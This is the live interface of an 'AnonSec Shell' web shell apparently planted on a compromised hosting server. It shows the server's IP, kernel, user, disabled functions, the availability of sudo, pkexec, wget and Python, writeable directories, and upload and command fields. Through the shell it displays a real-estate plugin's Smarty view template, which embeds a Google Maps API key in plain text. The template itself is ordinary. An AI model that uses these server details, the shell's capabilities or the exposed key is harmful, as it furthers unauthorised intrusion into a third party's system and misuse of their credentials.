AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/views/enterprises/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/views/enterprises/view.tpl
    
<div class="wrapper wrapper-content" style="padding-bottom: 0;">
    {$title_action = $_L['module imobles view enterprise']}
    <div class="row">

        <div class="col-md-12">

            <div class="ibox float-e-margins">

                <div class="ibox-title">
                    <h5>{$title_action}</h5>
                    {if   $typeForm!='modal'}
                        <a href="{$_url}module_imobles/enterprises/listAll"
                           class="btn btn-xs btn-primary btn-rounded pull-right">
                            <i class="fa fa-bars"></i> {$_L['module imobles list enterprise']}
                        </a>
                    {else}
                        <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                    {/if}
                </div>

                <div class="ibox-content" id="ibox_form_entreprise">

                    {*<div class="alert alert-danger" id="emsg">
                    <span id="emsgbody"></span>
                    </div>*}


                    <ul class="nav nav-tabs">
                        <li class="{if empty($tab)||$tab=='general_data'}active{/if}"><a style="" data-toggle="tab" href="#general_data">{$_L['module imobles data enterprises'] }</a></li>

                        {if count($enterpriseTorers)>0 }
                            <li  class="{if $tab=='towers'}active{/if}"><a data-toggle="tab" href="#towers">{$_L['module imobles towers']}</a></li>
                            {/if}

                        {if count($attachs)>0 }
                            <li  class="{if $tab=='attachment'}active{/if}"><a data-toggle="tab" href="#attachment">{$_L['module imobles images Listing']}</a></li>
                        {/if}
                        {if count($attachsOthers)>0 }
                            <li  class="{if $tab=='attachmentOthers'}active{/if}"><a data-toggle="tab" href="#attachmentOthers">{$_L['module imobles images Backend']}</a></li>
                        {/if}
                        <li  class="{if $tab=='docs'}active{/if}"><a data-toggle="tab" href="#docs">{$_L['module imobles docs']}</a></li>
                        <li><a data-toggle="tab" href="#maps_data">{$_L['module imobles maps']}</a></li>

                    </ul>

                    <div class="tab-content">


                        <div id="maps_data" class="tab-pane fade in">
                            <div id="maps_location"></div>
                        </div>
                        <!-- DADOS GERAIS -->
                        <div id="general_data" class="tab-pane fade in {if empty($tab)||$tab=='general_data'}active{/if}">

                            <div class="row" style="margin-bottom: 10px;">

                                <div class="col-sm-12 col-md-12 " style="margin-top: 20px;margin-bottom: 10px;">
                                    <b>LINKS ÚTEIS:</b>

                                    {if $enterprises->link_price_table}
                                        <br/> 
                                        <a href="{$enterprises->link_price_table}" target="_blank">TABELA DE PREÇOS</a>
                                    {/if}

                                    {if $enterprises->link_availability}
                                        <br/> 
                                        <a href="{$enterprises->link_availability}" target="_blank">TABELA DE DISPONIBILIDADE</a>
                                    {/if}

                                    {if $enterprises->link_presentation}
                                        <br/> 
                                        <a href="{$enterprises->link_presentation}" target="_blank">APRESENTAÇÃO DO EMPREENDIMENTO</a>
                                    {/if}

                                    {if $enterprises->link_hotsite}
                                        <br />
                                        <a href="{$enterprises->link_hotsite}" target="_blank">HOTSITE IMOBLES</a>
                                    {/if}
                                    {if $enterprises->link_google}
                                        <br/>
                                        <a href="{$enterprises->link_google}" target="_blank">{$_L['module imobles link google']}</a>
                                    {/if}
                                </div>
                                {* <div class="col-sm-12 col-md-12" style="margin-bottom: 10px;">
                                {$_L['ID']}: 
                                <b>{$enterprises->id}</b>
                                </div>*}
                                <div class="col-md-12 col-sm-12 col-xs-12" style="margin-bottom: 10px;">  
                                    {$_L['Active']} : 
                                    <b>{if $enterprises->enable}{$_L['Yes']}{else}{$_L['No']}{/if} </b>
                                </div>
                                <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
                                    {$_L['module imobles entreprise name']} : <br/>
                                    <b>{$enterprises->name}</b>
                                </div>

                                {*<div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">

                                {$_L['module imobles entreprise alias']} :<br/>
                                <b>{$enterprises->alias}
                                </b>
                                </div>*}

                                <div class="col-md-12 col-sm-12 col-xs-12" style="margin-bottom: 10px;">

                                    {$_L['Description']}: 
                                    <br/>
                                    <b>{$enterprises->desc}</b>
                                </div>

                                <div class="col-md-12 col-sm-12 col-xs-12" style="margin-bottom: 10px;">

                                    {$_L['Obs']}: 
                                    <br/>
                                    <b>{$enterprises->obs}</b>
                                </div>


                                <div class="col-sm-12 col-md-12" style="margin-bottom: 10px;">
                                    {$_L['module imobles enterprise_amenities']}:<br/> 
                                    <b for="title">
                                        {$module_imobles_enterprise_amenities_list}
                                    </b>
                                </div>

                                {if $module_imobles_enterprise_standard}
                                    <div class="col-sm-12 col-md-12" style="margin-bottom: 10px;">
                                        {$_L['module imobles enterprise_standard']}:<br/>    
                                        <b for="title">
                                            {$module_imobles_enterprise_standard->name}
                                        </b>
                                    </div>
                                {/if}

                                {if $module_imobles_company_construction}
                                    <div class="col-sm-12 col-md-8" style="margin-bottom: 10px;">
                                        {$_L['module imobles company_construction']}<br/> 
                                        <b for="title">
                                            {$module_imobles_company_construction->name}
                                        </b>
                                    </div>  
                                {/if}

                                <div class="col-sm-12 col-md-12" style="margin-bottom: 10px;">
                                    {$_L['module imobles financing company construction']}:<br/>
                                    <b for="title">
                                    {if $enterprises->financing_company_construction=='Yes'}{$_L['Yes']}{/if}
                                {if $enterprises->financing_company_construction=='No'}{$_L['No']}{/if}
                            {if $enterprises->financing_company_construction=='With Restriction'}{$_L['module imobles entreprise With restriction']}{/if}
                        </b>
                    </div>  

                    <div class="col-sm-12 col-md-12" style="margin-bottom: 10px;">
                        {$_L['module imobles permute']}:<br/>
                        <b for="title">
                        {if $enterprises->permute=='Yes'}{$_L['Yes']}{/if}
                    {if $enterprises->permute=='No'}{$_L['No']}{/if}
                {if $enterprises->permute=='Uninformed'}{$_L['module imobles uninformed']}{/if} 

            </b>
        </div>  
        <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
            {$_L['module imobles discount know']} 
            :    
            <b >
                {number_format($enterprises->discount,2,$_c['dec_point'],$_c['thousands_sep'])}
            </b>
        </div>   

        <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
            {$_L['module imobles % input']} 
            :
            <b >
                {number_format($enterprises->value_input_porcentage,2,$_c['dec_point'],$_c['thousands_sep'])}

            </b>
        </div>   
        <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
            {$_L['module imobles % founding']} 
            :
            <b >
                {number_format($enterprises->value_founding_porcentage,2,$_c['dec_point'],$_c['thousands_sep'])}

            </b>
        </div>   
        <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
            {$_L['module imobles % value installment']} :
            <b >
                {number_format($enterprises->value_installment_porcentage,4,$_c['dec_point'],$_c['thousands_sep'])}

            </b>
        </div>  

    </div>


    <div class='row'>

        <div class="col-sm-12 col-md-12 " style="margin-bottom: 10px;">
            {$_L['module imobles phone']} 
            :
            <b >

                {$enterprises->phone}
            </b>
        </div>   

        <div class="col-sm-12 col-md-8 " style="margin-bottom: 10px;">
            {$_L['module imobles site']} 
            :
            <b >
                {$enterprises->site}
            </b>
        </div>    
    </div>     

    <!-- ENDEREÇO -->
    <div class='row ' id="div_zip">
        <div class="col-xs-12 div_form">{$_L['Address']}</div>

        <div class="col-md-12 col-sm-12 col-xs-12">
            {$_L['ZIP Postal Code']} :
            <b for="address_zip">
                {$enterprises->address_zip}
            </b>
        </div>


        <div class="col-md-12 col-sm-12 col-xs-12">
            {$_L['State Region']}
            <b >
                {foreach $state as $s}
                {if $enterprises->address_state_id==$s['id']}{$s['state_name']}{/if}
            {/foreach}
        </b>
    </div>                 

    <div class="col-md-5 col-sm-12 col-xs-12">
        {$_L['City']} :   <b >{$city_name} </b>
    </div>   


    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Address']} :
        <b for="address">{$enterprises->address_log}</b>
    </div>
    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Neighborhood']}:
        <b>{$enterprises->address_neightborhood}</b>
    </div>

    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Number']} :
        <b> {$enterprises->address_number}</b>
    </div> 
    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Complement']} :
        <b> {$enterprises->address_complement}</b>
    </div> 
</div>

<!-- ENDEREÇO DECORADO -->
{if $enterprises->dec_address_log}
    <div class='row ' id="div_zip">
        <div class="col-xs-12 div_form">{$_L['module imobles Address dec']}</div>

        <div class="col-md-12 col-sm-12 col-xs-12">
            {$_L['ZIP Postal Code']} :
            <b for="address_zip">
                {$enterprises->dec_address_zip}
            </b>
        </div>


        <div class="col-md-12 col-sm-12 col-xs-12">
            {$_L['State Region']}
            <b >
                {foreach $state as $s}
                {if $enterprises->dec_address_state_id==$s['id']}{$s['state_name']}{/if}
            {/foreach}

        </b>
    </div>                 

    <div class="col-md-5 col-sm-12 col-xs-12">
        {$_L['City']} :   <b >{$dec_city_name} </b>
    </div>   


    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Address']} :
        <b for="address">{$enterprises->dec_address_log}</b>
    </div>
    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Neighborhood']}:
        <b>{$enterprises->dec_address_neightborhood}</b>
    </div>

    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Number']} :
        <b> {$enterprises->dec_address_number}</b>
    </div> 
    <div class="col-md-12 col-sm-12 col-xs-12">
        {$_L['Complement']} :
        <b> {$enterprises->dec_address_complement}</b>
    </div> 
</div>
{/if}
</div>


<div id="docs" class="tab-pane fade in {if $tab=='docs'}active{/if}">

    <table class="table table-bordered table-hover sys_table footable"  data-filter="#foo_filter" data-page-size="50">
        <thead>
            <tr>
                <td><i class="fa fa-ellipsis-v"></i></td>
                <th>{$_L['module imobles enterprise']} </th>
                <th>{$_L['Category']}</th>
                <th>{$_L['module imobles type doc']}</th>
                <th>{$_L['module imobles date validate']}</th>
                <td><i class="fa fa-link"></i></td>
            </tr>
        </thead>
        <tbody>
            {if count($documents) > 0}
                {foreach $documents as $d}
                    <tr style="

                        {if empty($d['expiration_date']) || strtotime($d['expiration_date'])<strtotime(date("Y-m-d"))}background-color:#fabbbb;{/if}
                    {if strtotime($d['expiration_date'])>=strtotime(date("Y-m-d"))}{*background-color:#b0f6b0;*}{/if}
                        ">
                        <td>
                            <div class="btn-group dropdown">
                                <button class="btn btn-primary btn-xs dropdown-toggle"
                                        data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
                                    <i class="fa fa-cog"></i> <span class="caret"></span>
                                </button>
                                <ul class="dropdown-menu" aria-labelledby="dropdown-list">
                                    <li><a class="income-edit" data-id="{$d['id']}" href="{$_url}{if isset($client)}{'client/'}{/if}module_imobles/docs/edit/{$d['id']}"><i class="fa fa-edit"></i> {$_L['Edit']}</a></li>
                                    <li><a class="delete_record" onclick="ConfirmDelete({$d['id']})" href="#"><i class="fa fa-trash-o"></i> {$_L['Delete']}</a></li>
                                </ul>
                            </div>
                        </td>
                        <td>{$d['desc_enterprise']}</td>
                        <td>{$d['desc_category']}</td>
                        <td>
                            {if not empty($d['module_imobles_enterprise_unity_id'])}
                                {$_L['module imobles unity']}
                            {else}
                                {if not empty($d['module_imobles_enterprise_units_type_id'])}
                                    {$_L['module imobles typeunity']}

                                {else}
                                    {$_L['module imobles enterprise']}                                                
                                {/if}

                            {/if}

                        </td>
                        <td>{if not empty($d['expiration_date'])}{date( $_c['df'], strtotime($d['expiration_date']))}{/if}</td>
                        <td>
                            <a href="{APP_URL}/application/plugins/module_imobles/uploads/docs/{$d['id']}/{$d['src']}" class=" btn btn-info btn-xs" target="_blank">{$_L['module imobles docs open']}</a>
                        </td>
                    </tr>
                    {/foreach}
                        {else}
                            <tr>
                                <td colspan="8">
                                    {$_L['No_Records_Found']}
                                </td>
                            </tr>
                            {/if}

                            </tbody>
                        </table>
                    </div>
                    <form action="{$_url}module_imobles/enterprises/deleteDoc/{$enterprises->id}" method="post" id="formdelete"></form>

                    <!-- ANEXOS -->
                    <div id='attachment' class="tab-pane fade in {if $tab=='attachment'}active{/if}">   
                        <div class="row">
                            {if $attachs}
                                {foreach $attachs as $l}
                                    <div class="col-sm-12 col-md-12 col-xs-12 " style='border-bottom:  1px solid silver'>
                                        <br/>
                                        {if $l['crawler_listing_id']}
                                            <h4> <a href="https://www.vivareal.com.br/imovel/{$l['crawler_listing_id']}" target="_blank">{$l['title']}</a></h4>
                                            {else}
                                            <h4> {$l['title']}</h4>

                                        {/if}
                                        <br/>
                                        {foreach $l['attachs'] as $a}
                                            <div class='col-xs-12 col-md-3 center' style='padding: 10px'>
                                                <center>
                                                    <a rel="prettyPhoto[gallery1]" href="{APP_URL}/application/plugins/module_imobles/uploads/enterprise/{$a->module_imobles_enterprise_id}/images/{$a->src}" class='img_teste' title="{$l['title']}">
                                                        <img class="img-thumbnail modal-image" src="{APP_URL}/application/plugins/module_imobles/uploads/enterprise/{$a->module_imobles_enterprise_id}/images/{$a->src}" style="max-width: 95%;max-height: 150px" loading="lazy">
                                                    </a>
                                                </center>
                                            </div>
                                        {/foreach}
                                    </div>

                                {/foreach}
                            {/if}
                        </div>
                    </div>

                <div id='attachmentOthers' class="tab-pane fade in {if $tab=='attachmentOthers'}active{/if}">   
                    <div class="row">
                        {if $attachsOthers}
                            <div class="col-sm-12 col-md-12 col-xs-12">
                                <br/>
                                <h4>{$_L['module imobles other images']}</h4>
                                <br/>
                                {foreach $attachsOthers as $a}
                                    <div class='col-xs-12 col-md-3 center' style='padding: 10px'>
                                        <center>
                                            <a rel="prettyPhoto[gallery1]" target="_blank" href="{APP_URL}/application/plugins/module_imobles/uploads/enterprise/{$a->module_imobles_enterprise_id}/images/{$a->src}" title="{$_L['module imobles other images']}">
                                                <img class="img-thumbnail modal-image" src="{APP_URL}/application/plugins/module_imobles/uploads/enterprise/{$a->module_imobles_enterprise_id}/images/{$a->src}" style="max-width: 95%;max-height: 150px" loading="lazy">
                                            </a>
                                        </center>
                                    </div>
                                {/foreach}
                            </div>
                        {/if}

                    </div>
                </div>

                    <div id='towers' class="tab-pane fade in {if $tab=='towers'}active{/if}">   
                        <div class="row">

                            <div class="col-sm-12 col-md-12 col-xs-12">

                                <div class="row">
                                    <div class="table-responsive m-t">
                                        <table class="table" id="enterprise_towers_items">
                                            <thead>
                                                <tr>
                                                    <th>{$_L['Name']}</th>
                                                    <th> {$_L['module imobles stage']} </th>
                                                    <th> {$_L['module imobles entreprise date delivery'] } </th>

                                                    <th class="col-md-2 ">{$_L['module imobles floors number']}
                                                    <th class="col-md-2 ">{$_L['module imobles total units']}</th>
                                                    </th> 

                                                </tr>
                                            </thead>
                                            <tbody id="body-enterprise_towerss">
                                                {foreach $enterpriseTorers as $item}

                                                    <tr class="itm_nm_ftura ">
                                                        <td class="middle">
                                                            {$item->title}
                                                        </td>    
                                                        <td>
                                                        {if $item->stage=='In Works'}{$_L['In Works']}{/if}
                                                        {if $item->stage=='Ready to move in'} {$_L['Ready to move in']}{/if}
                                                    {if $item->stage=='Lauch'}{$_L['Lauch']}{/if}
                                                {if $item->stage=='Pre Launch'}{$_L['Pre Launch']}{/if}
                                            </td>
                                            <td>     {if not empty($item->date_delivery)}{date( $_c['df'], strtotime($item->date_delivery))}{/if}</td>
                                            <td class="middle">
                                                {$item->floors}
                                            </td>
                                            <td class="middle">
                                                {$item->total_units}
                                            </td>

                                        </tr>
                                    {/foreach}

                                </tbody>
                            </table>

                        </div>
                    </div>

                </div>

            </div>

        </div>


        <div id="ajax-modal-image" class="modal container fade-scale" data-backdrop="static"  tabindex="-1" style="display: none;">
            <div class="modal-header">
                <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
                <h3>{$_L['Image']}</h3>
            </div>

            <div class="modal-body">
                <div class="row">
                    <div class='col-xs-12  center'>
                        <img class="modal-image img-responsive" src="{APP_URL}/application/plugins/module_imobles/uploads/enterprise/" style="max-height: 800px; max-width: 800px">
                    </div>
                </div>
            </div>

            <div class="modal-footer">
                <a href="#"  class="cancel_company_construction" data-dismiss="modal"> | {$_L['Or Cancel']}</a>
            </div>

        </div>



    </div>
    <div class="row" style="margin-top:20px">
        <div class=" col-md-12 form-group">
            <div class="col-lg-10">
                {if   $typeForm!='modal'}
                    <a href="{$_url}module_imobles/enterprises/listAll">{$_L['Close']}</a>
                {/if}

            </div>
        </div>
    </div>
</div>

</div>



</div>

</form>

</div>

</div>

{literal}    

    <script>

    function initMap() {
        const uluru = {/literal}{$centerMarker}{literal};
        const map = new google.maps.Map(document.getElementById("maps_location"), {
            zoom: 13,
            center: uluru,
        });
    {/literal}
    {$marker}
    {literal}
        }
    </script>
    
    <script src="https://maps.googleapis.com/maps/api/js?key=AIzaSyDV8EiKB-3-jeqoB9qGR7oeQb-y9kLHoCU&callback=initMap"
    async defer></script>
 
{/literal}

Anon7 - 2022
AnonSec Team